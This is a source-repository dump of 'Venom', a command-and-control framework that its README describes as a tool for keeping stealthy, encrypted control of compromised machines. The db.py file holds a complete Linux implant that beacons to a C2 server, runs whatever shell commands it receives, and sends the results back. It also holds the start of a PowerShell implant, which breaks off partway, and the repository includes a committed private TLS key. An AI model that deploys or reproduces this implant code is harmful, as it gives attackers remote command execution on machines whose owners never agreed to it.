├── .gitignore ├── README.md ├── SSLKeys ├── server.crt ├── server.key └── server.pem ├── controllers ├── AES.py ├── __pycache__ │ ├── AES.cpython-38.pyc │ ├── db.cpython-38.pyc │ ├── jwt_utils.cpython-38.pyc │ └── listener.cpython-38.pyc ├── db.py ├── jwt_utils.py └── listener.py ├── requirments.txt ├── static ├── app │ ├── css │ │ ├── app.f4097ce00c6811dc03ea52e14f2cc04e.css │ │ └── app.f4097ce00c6811dc03ea52e14f2cc04e.css.map │ ├── fonts │ │ ├── MaterialIcons-Regular.586090b.ttf │ │ ├── MaterialIcons-Regular.9219a80.woff │ │ ├── MaterialIcons-Regular.b661c28.eot │ │ ├── MaterialIcons-Regular.bca3a18.woff2 │ │ ├── fontawesome-webfont.674f50d.eot │ │ ├── fontawesome-webfont.af7ae50.woff2 │ │ ├── fontawesome-webfont.b06871f.ttf │ │ └── fontawesome-webfont.fee66e7.woff │ ├── img │ │ └── fontawesome-webfont.912ec66.svg │ ├── js │ │ ├── app.842b030e89ad970950f8.js │ │ ├── app.842b030e89ad970950f8.js.map │ │ ├── manifest.71b7e65a268310130a09.js │ │ ├── manifest.71b7e65a268310130a09.js.map │ │ ├── vendor.78e7bcd08a25ebb383b2.js │ │ └── vendor.78e7bcd08a25ebb383b2.js.map │ ├── logo.png │ ├── preview.JPG │ ├── template.gif │ └── venom-red.png └── login │ └── login.js ├── templates ├── index.html └── login.html ├── venom.py └── vue-static ├── .babelrc ├── .editorconfig ├── .postcssrc.js ├── BACKERS.md ├── LICENSE ├── README.md ├── build ├── build.js ├── check-versions.js ├── logo.png ├── utils.js ├── vue-loader.conf.js ├── webpack.base.conf.js ├── webpack.dev.conf.js └── webpack.prod.conf.js ├── config ├── dev.env.js ├── index.js └── prod.env.js ├── docs ├── index.html └── static │ ├── css │ ├── app.bd76ef92af2ee282961d007da01a20e8.css │ └── app.bd76ef92af2ee282961d007da01a20e8.css.map │ ├── fonts │ ├── MaterialIcons-Regular.016c14a.eot │ ├── MaterialIcons-Regular.55242ea.ttf │ ├── MaterialIcons-Regular.8a9a261.woff2 │ ├── MaterialIcons-Regular.c38ebd3.woff │ ├── fontawesome-webfont.674f50d.eot │ ├── fontawesome-webfont.af7ae50.woff2 │ ├── fontawesome-webfont.b06871f.ttf │ └── fontawesome-webfont.fee66e7.woff │ ├── img │ └── fontawesome-webfont.912ec66.svg │ ├── js │ ├── app.f2427fecb03f0525c73f.js │ ├── app.f2427fecb03f0525c73f.js.map │ ├── manifest.2ae2e69a05c33dfc65f8.js │ ├── manifest.2ae2e69a05c33dfc65f8.js.map │ ├── vendor.fa724d1dbc6f6f5b14fc.js │ └── vendor.fa724d1dbc6f6f5b14fc.js.map │ ├── logo.png │ ├── preview.JPG │ └── template.gif ├── index.html ├── package-lock.json ├── package.json ├── src ├── App.vue ├── assets │ ├── flags │ │ ├── ch.png │ │ ├── de.png │ │ ├── en.png │ │ ├── fr.png │ │ ├── ja.png │ │ └── tr.png │ └── logo.png ├── components │ ├── Carousel.vue │ ├── DataTable.vue │ ├── SocialWidget.vue │ ├── Statistic.vue │ ├── Stepper.vue │ ├── TimeLine.vue │ ├── UserTreeView.vue │ ├── VenomShell.vue │ ├── Widget.vue │ ├── core │ │ ├── Breadcrumbs.vue │ │ ├── NavigationDrawer.vue │ │ ├── PageFooter.vue │ │ └── Toolbar.vue │ └── statistics │ │ ├── LocationStatistic.vue │ │ ├── SiteViewStatistic.vue │ │ └── TotalEarningsStatistic.vue ├── config │ ├── setup-components.js │ └── setup-i18n.js ├── i18n │ ├── ch.json │ ├── de.json │ ├── en.json │ ├── fr.json │ ├── ja.json │ └── tr.json ├── main.js ├── pages │ ├── Chart.vue │ ├── Dashboard.vue │ ├── Implants.vue │ ├── Listeners.vue │ ├── Media.vue │ ├── Snackbar.vue │ ├── Social.vue │ ├── Venom.vue │ └── core │ │ ├── Error.vue │ │ └── Login.vue ├── router │ └── index.js └── styles │ ├── global.css │ └── prism.css └── static ├── .gitkeep ├── logo.png ├── preview.JPG ├── template.gif └── venom-red.png /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules/ 3 | /dist/ 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | /test/unit/coverage/ 8 | 9 | # Editor directories and files 10 | .idea 11 | .vscode 12 | *.suo 13 | *.ntvs* 14 | *.njsproj 15 | *.sln 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | ### What is Venom? 5 | Venom is a Command and Control framework used by red team operators to maintain connection with compromised agents under a stealthy and encrypted channel, by providing an interactive web application and easy to use features. 6 | 7 | ![image](https://user-images.githubusercontent.com/54769522/172016313-50acd1ab-69a2-476b-ba0f-7a4323ef7bea.png) 8 | 9 | 10 | # Installation 11 | Make sure to install MongoDB (Debian) 12 | ```bash 13 | wget -qO - https://www.mongodb.org/static/pgp/server-5.0.asc | sudo apt-key add - && 14 | echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/5.0 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-5.0.list && 15 | sudo apt-get update && 16 | sudo apt-get install -y mongodb-org && 17 | sudo systemctl start mongod.service 18 | ``` 19 | Refer to MongoDB installation Guide 20 | https://www.mongodb.com/docs/manual/tutorial/install-mongodb-on-debian/ 21 | 22 | Install Venom requirements 23 | ```bash 24 | pip3 install -r requirments.txt 25 | ``` 26 | 27 | # Usage 28 | Run Venom with specified port 29 | ```bash 30 | python3 venom.py --port 1337 31 | ``` 32 | Run Venom and enable SSL for http listeners 33 | ```bash 34 | python3 venom.py --port 1337 --ssl 35 | ``` 36 | -------------------------------------------------------------------------------- /SSLKeys/server.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | 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 31 | -----END CERTIFICATE----- 32 | -------------------------------------------------------------------------------- /SSLKeys/server.key: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | 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 51 | WJKNenN8eQIjauLcme/JBrsj1ypKEw== 52 | -----END PRIVATE KEY----- 53 | -------------------------------------------------------------------------------- /SSLKeys/server.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIFazCCA1OgAwIBAgIUJXsiyUBggOarN3wkqzAcUsJGHi8wDQYJKoZIhvcNAQEL 3 | BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM 4 | GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0yMjA3MTQxMTEwMDJaFw0yMzA3 5 | MTQxMTEwMDJaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw 6 | HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggIiMA0GCSqGSIb3DQEB 7 | AQUAA4ICDwAwggIKAoICAQCoO/Vpjl5YDZ2pzgvlgAK8U69W5MCKt2yAqGEel/Yl 8 | ZVTkVn595ziN1N9NOGwCM15J3Po/WiDUwn9rFHYouppY3Fa0r8VhVO/6Y52Npivi 9 | RzTcYtEU0tPobe7onoggyHul5G1sol2nVEtPSZWcCwQRmrCYTV6VjFU4AlXbmUfx 10 | hWY/g8nrBcXyVe+EAPn59Spa5qgaQcbWAUM6ejJtlD4jHvYhZ//hhIUgrxEnMi39 11 | RfPspu4ufFb+N0Y7ckJe1wpbYZQqzTjEdy5stKWWFXuOd/Wazj0YSngmlPdusWvy 12 | VJe9Ygx9hlKv3bbI1216XPZPBIyGVMoBVQdtJVaIIUl/j8EQlNnG/Gdn1v8xXX9g 13 | WIHUcNg80e0BDH/UMG3jGgDGGhkpzkPS4UqdGDzR5109dWS8pkNaAw1vZCbNGMJO 14 | D0PcxncpxQtqhV3w6zWr+JpGhS/uPhGB1/AVggs6xH2OQrNF8pfTKiWogO/NyVhD 15 | EcR88W1uwZ52tWW8JkO2H2ennJAdxWr3UxXlwTsm631Ry7e0VOpEUxfERB8qGkx7 16 | nMWR5+Dk2LsTM0tgS8db/2juKsGQr+uzogxjEGHmQRHyk6jGhzlchQWpnXDWVXuf 17 | L8miBPvMdodtSo0Jqj0tu8/lRrUJM9P+4DC4Px2SpLUogVrCwBDZQU/e2JzXvS5P 18 | ewIDAQABo1MwUTAdBgNVHQ4EFgQUor7DjhkEuW5ni8TaSKwhon52uD4wHwYDVR0j 19 | BBgwFoAUor7DjhkEuW5ni8TaSKwhon52uD4wDwYDVR0TAQH/BAUwAwEB/zANBgkq 20 | hkiG9w0BAQsFAAOCAgEAJbMXBkp3TAJEd7puSFnvarRN9XGNgYkbRw43Q3sUzeKZ 21 | +L4bWjPlnquVzejXSOdrkT+ZPrLoF/BAI/gADQET1sSgnxuSABmP81eMwTiYtKPg 22 | v/fzsonozoSDnP+3RV3pl7Sx6ezc44IdOXKgXN87C1GqsyLR8o06xiaYswu8LhWQ 23 | OXvTKS8z0T2DzSTOwNK90DMsS7sDTJ20ED/1qQ9AtasMBxYw2wjhpdFLYB6xfgIm 24 | mc1sOkfNhEM0yHTryVW9PLqqWk7H/w9Zdv6A5eM4091LAdCZIcnDXQ3iC/LbHt0W 25 | IVyGK2sQj3Ko/wpz2DpHnKztzMtMnQQooTZp/TxbSB83S3w/nkjrL5g+/cejxCgj 26 | QhJafak059R/jIAjb6CJ/5cpR+Um3lmP5/B8GFFLhCViV27P4uHckzO9/HabFqWO 27 | 0mabtiGsMFoBIPI+8sUjeO84M+YJZ2U9IeyQvbE/k46hrxffr/pNdBA9qxKzQFAz 28 | YDsJxEGzrPmwvFKlq8Ssa8LYOHhrYSsvjKIeR0HQTcZDvagDaR6Z0X8czQUR4Vdy 29 | 4nqYtv6o0ENgyUwoR4hnuFkXoqRMfkYCqDiDRMT2AqA7nTRExkc8wI6Sejp89KrU 30 | laZvGGwhrIGTSaMo6p0Q3RhJkHdHi7uGmZ3ZpemOUm/El9ZZ6yAz00tTf0f46GE= 31 | -----END CERTIFICATE----- 32 | -------------------------------------------------------------------------------- /controllers/AES.py: -------------------------------------------------------------------------------- 1 | import os 2 | from Crypto.Cipher import AES 3 | from Crypto.Util.Padding import pad, unpad 4 | from controllers.db import * 5 | from base64 import b64decode, b64encode 6 | 7 | 8 | def encrypt(id, task): 9 | k = getKey(id) 10 | base64_bytes = k.encode("utf-8") 11 | key = b64decode(base64_bytes) 12 | IV = os.urandom(16) 13 | c = AES.new(key, AES.MODE_CBC, IV) 14 | ct = IV + c.encrypt(pad(bytes(task, 'utf-8'),AES.block_size)) 15 | base64_bytes = b64encode(ct) 16 | cipher = base64_bytes.decode("utf-8") 17 | return cipher 18 | 19 | 20 | def decrypt(id, eresult): 21 | k = getKey(id) 22 | base64_bytes = k.encode("utf-8") 23 | key = b64decode(base64_bytes) 24 | #base64_bytes = eresult.encode("ascii") 25 | result = b64decode(eresult) 26 | IV = result[:AES.block_size] 27 | cipher = AES.new(key, AES.MODE_CBC, IV) 28 | pt = cipher.decrypt(result[AES.block_size:]) 29 | pt = unpad(pt,16).decode('utf-8') 30 | return pt -------------------------------------------------------------------------------- /controllers/__pycache__/AES.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/controllers/__pycache__/AES.cpython-38.pyc -------------------------------------------------------------------------------- /controllers/__pycache__/db.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/controllers/__pycache__/db.cpython-38.pyc -------------------------------------------------------------------------------- /controllers/__pycache__/jwt_utils.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/controllers/__pycache__/jwt_utils.cpython-38.pyc -------------------------------------------------------------------------------- /controllers/__pycache__/listener.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/controllers/__pycache__/listener.cpython-38.pyc -------------------------------------------------------------------------------- /controllers/db.py: -------------------------------------------------------------------------------- 1 | from pymongo import MongoClient 2 | from hashlib import sha256 3 | 4 | client = MongoClient('mongodb://localhost:27017/') 5 | db = client.C2 6 | 7 | ''' 8 | To-Do: 9 | 1- Handle bad requested tasks (bad commands) (Done) 10 | 2- Delete the task after writing its result (Done) 11 | 3- Check how subprocess.Popen supports stderr return (Done) 12 | 4- Variable Interval timeout 13 | ''' 14 | 15 | def registerAgent(agentID, type, bindListenerID, port, timeout = 60): 16 | 17 | agent = {'id': agentID, 18 | 'port': port, 19 | 'type': type, 20 | 'status': 'dead', 21 | 'task': '', 22 | 'taskResult': '', 23 | 'bindListenerID': bindListenerID, 24 | 'ip': '', 25 | 'timeout': timeout 26 | } 27 | 28 | db.agents.insert_one(agent) 29 | 30 | 31 | def deleteAgent(agentID): 32 | db.agents.delete_one({'id': {'$eq': agentID}}) 33 | 34 | 35 | def saveListener(listenerId, port, key): 36 | listener = {'id': listenerId, 37 | 'port': port, 38 | 'key': key} 39 | db.listeners.insert_one(listener) 40 | 41 | 42 | def getListener(id): 43 | return db.listeners.find_one({'id': {'$eq': id}}) 44 | 45 | 46 | def getListeners(): 47 | return db.listeners.find() 48 | 49 | 50 | def delListener(id): 51 | 52 | if(db.listeners.find_one({'id': {'$eq': id}})): 53 | db.listeners.delete_one({'id': {'$eq': id}}) 54 | return True 55 | else: 56 | return False 57 | 58 | def checkTask(agentID): 59 | task = db.agents.find_one({'id': {'$eq': agentID}}).get('task') 60 | 61 | if (task): 62 | return task 63 | 64 | else: 65 | return 66 | 67 | 68 | def clearTask(agentID): 69 | db.agents.update_one({ 70 | 'id': agentID 71 | }, { 72 | '$set': { 73 | 'task': '' 74 | } 75 | }) 76 | 77 | def clearTaskResult(agentID): 78 | db.agents.update_one({ 79 | 'id': agentID 80 | }, { 81 | '$set': { 82 | 'taskResult': '' 83 | } 84 | }) 85 | 86 | 87 | def assignTask(agentID, task): 88 | 89 | db.agents.update_one({ 90 | 'id': agentID 91 | }, { 92 | '$set': { 93 | 'task': task 94 | } 95 | }) 96 | 97 | 98 | def writeResult(agentID, result): 99 | db.agents.update_one({ 100 | 'id': agentID}, 101 | { 102 | '$set': { 103 | 'taskResult': result 104 | } 105 | }) 106 | 107 | 108 | def readTaskResult(agentID): 109 | return db.agents.find_one({ 110 | 'id': { 111 | '$eq': agentID 112 | } 113 | }).get('taskResult') 114 | 115 | 116 | def getKey(id): 117 | return db.listeners.find_one({ 118 | 'id': { 119 | '$eq': id} 120 | }).get('key') 121 | 122 | 123 | def checkListenerPort(port): 124 | return db.listeners.find_one({ 125 | 'port': { 126 | '$eq': port} 127 | }) 128 | 129 | def getAgentListener(agentID): 130 | return db.agents.find_one({ 131 | 'id': { 132 | '$eq': agentID} 133 | }).get('bindListenerID') 134 | 135 | def getAgent(agentID): 136 | return db.agents.find_one({ 137 | 'id': { 138 | '$eq': agentID 139 | } 140 | 141 | }) 142 | 143 | def getAgents(): 144 | return db.agents.find() 145 | 146 | def login(email, password): 147 | if db.operators.find_one({'email': {'$eq': email}, 'password': {'$eq': sha256(password.encode('utf-8')).hexdigest()}}): 148 | return True 149 | else: 150 | return False 151 | 152 | def register(email, password): 153 | db.operators.insert_one({ 154 | 'email': email, 155 | 'password': sha256(password.encode('utf-8')).hexdigest() 156 | }) 157 | 158 | 159 | def getImplant(type): 160 | return db.implants.find_one({'type': {'$eq' : type }}).get('implant') 161 | 162 | implant_linux = '''import requests as r 163 | from base64 import b64encode, b64decode 164 | from random import seed 165 | from random import randint 166 | from time import sleep 167 | import os 168 | import subprocess 169 | #encryption libraries 170 | from Crypto.Cipher import AES 171 | from Crypto.Util.Padding import pad, unpad 172 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 173 | 174 | _IP_ = 'REPLACE_IP' 175 | _PORT_ = 'REPLACE_PORT' 176 | _ID_ = 'REPLACE_ID' 177 | _KEY_ = 'REPLACE_KEY' 178 | _SCHEME_ = 'REPLACE_SCHEME' 179 | 180 | #add encrytion and decryption FCNs 181 | def encrypt(task): 182 | base64_bytes = _KEY_.encode("ascii") 183 | key = b64decode(base64_bytes) 184 | IV = os.urandom(16) 185 | c = AES.new(key, AES.MODE_CBC, IV) 186 | ct = IV + c.encrypt(pad(bytes(task, 'utf-8'),AES.block_size)) 187 | base64_bytes = b64encode(ct) 188 | cipher = base64_bytes.decode("ascii") 189 | return cipher 190 | 191 | 192 | def decrypt(eresult): 193 | base64_bytes = _KEY_.encode("ascii") 194 | key = b64decode(base64_bytes) 195 | base64_bytes = eresult.encode("ascii") 196 | result = b64decode(base64_bytes) 197 | IV = result[:AES.block_size] 198 | cipher = AES.new(key, AES.MODE_CBC, IV) 199 | pt = cipher.decrypt(result[AES.block_size:]) 200 | pt = unpad(pt,16).decode('utf-8') 201 | return pt 202 | 203 | 204 | if __name__ == "__main__": 205 | 206 | r.packages.urllib3.disable_warnings(InsecureRequestWarning) 207 | _C2_ = _SCHEME_ + "://{}:{}".format(_IP_,_PORT_) 208 | #Start Registration 209 | while (True): 210 | seed() 211 | sleep(randint(0,20)) 212 | response = r.get(url = _C2_ + "/reg/{}".format(_ID_), verify=False) 213 | if ("Success" in response.text): 214 | break 215 | 216 | else: 217 | continue 218 | 219 | #Start Beaconing 220 | while (True): 221 | seed() 222 | sleep(randint(0,20)) 223 | task = r.get(url = _C2_ + "/task/{}".format(_ID_), verify=False) 224 | #add aliases for reverse shell and purging 225 | if (task.text): 226 | cmd = subprocess.Popen(decrypt(task.text), shell = True, stdout= subprocess.PIPE, stderr= subprocess.PIPE) 227 | output,err = cmd.communicate() 228 | if(output.decode('UTF-8') != ''): 229 | result = output.decode('UTF-8') 230 | elif (err.decode('UTF-8') != ''): 231 | result = err.decode('UTF-8') 232 | else: 233 | result = "Task completed but has no output" 234 | result = encrypt(result) 235 | 236 | r.post(url = _C2_ + '/task/results/{}'.format(_ID_), data = result.encode('utf-8'), verify=False) 237 | 238 | else: 239 | continue''' 240 | 241 | 242 | implant_windows = '''function Create-AesManagedObject($key, $IV) { 243 | $aesManaged = New-Object "System.Security.Cryptography.AesManaged" 244 | $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC 245 | $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 246 | $aesManaged.BlockSize = 128 247 | $aesManaged.KeySize = 128 248 | if ($IV) { 249 | if ($IV.getType().Name -eq "String") { 250 | $aesManaged.IV = [System.Convert]::FromBase64String($IV) 251 | } 252 | else { 253 | $aesManaged.IV = $IV 254 | } 255 | } 256 | if ($key) { 257 | if ($key.getType().Name -eq "String") { 258 | 259 | $aesManaged.Key = [System.Convert]::FromBase64String($key) 260 | } 261 | else { 262 | $aesManaged.Key = $key 263 | } 264 | } 265 | $aesManaged 266 | } 267 | 268 | function Encrypt-String($key, $unencryptedString) { 269 | 270 | $bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString) 271 | $aesManaged = Create-AesManagedObject $key 272 | $encryptor = $aesManaged.CreateEncryptor() 273 | $bytess = $bytes.length 274 | $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytess); 275 | [byte[]] $fullData = $aesManaged.IV + $encryptedData 276 | $aesManaged.Dispose() 277 | [System.Convert]::ToBase64String($fullData) 278 | } 279 | 280 | function Decrypt-String($key, $encryptedStringWithIV) { 281 | 282 | $bytes = [System.Convert]::FromBase64String($encryptedStringWithIV) 283 | $IV = $bytes[0..15] 284 | $aesManaged = Create-AesManagedObject $key $IV 285 | $decryptor = $aesManaged.CreateDecryptor(); 286 | $bytess = $bytes.Length - 16; 